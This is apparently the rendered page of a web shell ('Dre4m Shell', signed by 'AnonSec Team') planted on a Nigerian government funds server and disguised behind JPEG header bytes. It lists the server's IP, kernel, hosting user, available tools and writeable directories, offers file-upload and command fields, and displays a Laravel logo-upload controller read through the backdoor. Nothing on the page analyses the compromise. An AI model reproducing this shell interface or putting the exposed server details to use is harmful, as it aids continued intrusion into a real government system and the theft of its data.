ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.144.106.153
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/UpdateReportHeadController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Http\Requests;
use Session;
use File;
use DB;
use Auth;
use Carbon\carbon;
use Illuminate\Support\Facades\Input;
use Illuminate\Support\Str;

class UpdateReportHeadController extends Controller
{

    public function __construct()
    {
        $this->middleware('auth');
    }


  //create
   public function createReportHead()
   {
         $data['editRecord'] = DB::table('report_head_logo')->first();

	 $data['allRecord'] = DB::table('report_head_logo')->get();
	 
         return view('UpdateReportHead.home', $data);
   }
   
   
   //save/update
    public function updateReportHead(Request $request)
    {

        $this->validate($request, [

          'companyName'      	=> 'required|string',
          'companyShortName'    => 'required|alpha_num',
          'address'      	=> 'required|string',
          //'companyRegistration' => 'required|alpha_num',
          //'companyLogo' 	=> 'mimes:jpe,jpeg,jpg,gif,png,bmp|max:2048',
          //'reportLogo' 	=> 'mimes:jpe,jpeg,jpg,gif,png,bmp|max:2048',
          //'watermarkLogo' 	=> 'mimes:jpe,jpeg,jpg,gif,png,bmp|max:2048',
          //'establishment' 	=> 'required|string',
        ]);
        $companyName 		= trim($request['companyName']);
        $companyShortName 	= trim($request['companyShortName']);
        $address 		= trim($request['address']);
        $companyRegistration 	= trim($request['companyRegistration']);
        $companyLogo 		= $request->companyLogo;
        $reportLogo 		= $request->reportLogo;
        $watermarkLogo 		= $request->watermarkLogo;
        $establishment 		= trim($request['establishment']); 
        $email 			= trim($request['emailAddress']);
        $phone 			= trim($request['telephone']);
	$path 			= 'companyLogos/';  //base_path().'/public/companyLogos/';
	
	$oldRecord = DB::table('report_head_logo')->where('id', 1)->first();
	$companyLogoNewName 	= null;
	$reportLogoNewName   	= null;
	$watermarkLogoNewName   = null;
	if($request->hasfile('companyLogo'))
	{
		$this->validate($request, [
	          'companyLogo' 	=> 'mimes:jpe,jpeg,jpg,gif,png,bmp|max:2048',
	        ]);
		$companyLogoExtension = $companyLogo->getClientOriginalExtension();
		$companyLogoNewName   = 'company-logo'.date('d-m-Y-').rand(111, 9999).time() .'.'.$companyLogoExtension;
		if($companyLogo->move($path, $companyLogoNewName))
		{
			$companyLogoNewName = $companyLogoNewName;
		}else{
			$companyLogoNewName = (($oldRecord) ? $oldRecord->company_logo : '');
		}
	}
	if($request->hasfile('reportLogo'))
	{
		$this->validate($request, [
	          'reportLogo' 		=> 'mimes:jpe,jpeg,jpg,gif,png,bmp|max:2048',
	        ]);
		$reportLogoExtension = $reportLogo->getClientOriginalExtension();
		$reportLogoNewName   = 'report-logo'.date('d-m-Y-').rand(111, 9999).time() .'.'.$reportLogoExtension;
		if($reportLogo->move($path, $reportLogoNewName))
		{
			$reportLogoNewName  = $reportLogoNewName;
		}else{
			$reportLogoNewName  = (($oldRecord) ? $oldRecord->report_logo : '');
		}
	}
	if($request->hasfile('watermarkLogo'))
	{
		$this->validate($request, [
	          'watermarkLogo' 	=> 'mimes:jpe,jpeg,jpg,gif,png,bmp|max:2048',
	        ]);
		$watermarkLogoExtension = $watermarkLogo->getClientOriginalExtension();
		$watermarkLogoNewName   = 'watermark-logo'.date('d-m-Y-').rand(111, 9999).time() .'.'.$watermarkLogoExtension;
		if($watermarkLogo->move($path, $watermarkLogoNewName))
		{
			$watermarkLogoNewName = $watermarkLogoNewName;
		}else{
			$watermarkLogoNewName = (($oldRecord) ? $oldRecord->watermark_logo : '');
		}
	}
	//Upload file Name
	$companyLogoNewName = (isset($companyLogoNewName) ? $companyLogoNewName : $oldRecord->company_logo );
	$reportLogoNewName  = (isset($reportLogoNewName) ? $reportLogoNewName : $oldRecord->report_logo );
	$watermarkLogoNewName = (isset($watermarkLogoNewName) ? $watermarkLogoNewName : $oldRecord->watermark_logo );
	
	if(DB::table('report_head_logo')->count() > 0)
	{
		//update
		DB::table('report_head_logo')->where('id', 1)->update([
		   'company_name' 	=> $companyName,
		   'company_logo' 	=> $companyLogoNewName,
		   'report_logo' 	=> $reportLogoNewName,
		   'address' 		=> $address,
		   'company_regNo' 	=> $companyRegistration,
		   'company_short_name' => $companyShortName,
		   'watermark_logo' 	=> $watermarkLogoNewName,
		   'establishment' 	=> $establishment,
		   'email' 		=> $email,
		   'phone' 		=> $phone,
		   'updated_at' 	=> date('Y-m-d'),
 		]);
	}else{
		//insert
		DB::table('report_head_logo')->insert([
		   'company_name' 	=> $companyName,
		   'company_logo' 	=> $companyLogoNewName,
		   'report_logo' 	=> $reportLogoNewName,
		   'address' 		=> $address,
		   'company_regNo' 	=> $companyRegistration,
		   'company_short_name' => $companyShortName,
		   'watermark_logo' 	=> $watermarkLogoNewName,
		   'establishment' 	=> $establishment,
		   'email' 		=> $email,
		   'phone' 		=> $phone,
		   'updated_at' 	=> date('Y-m-d'),
 		]);
	}
        //
        return redirect()->route('createReportHead')->with('message', 'Company Basic information was updated successfully.');

     }
     
  

 }//end class

Anon7 - 2022
AnonSec Team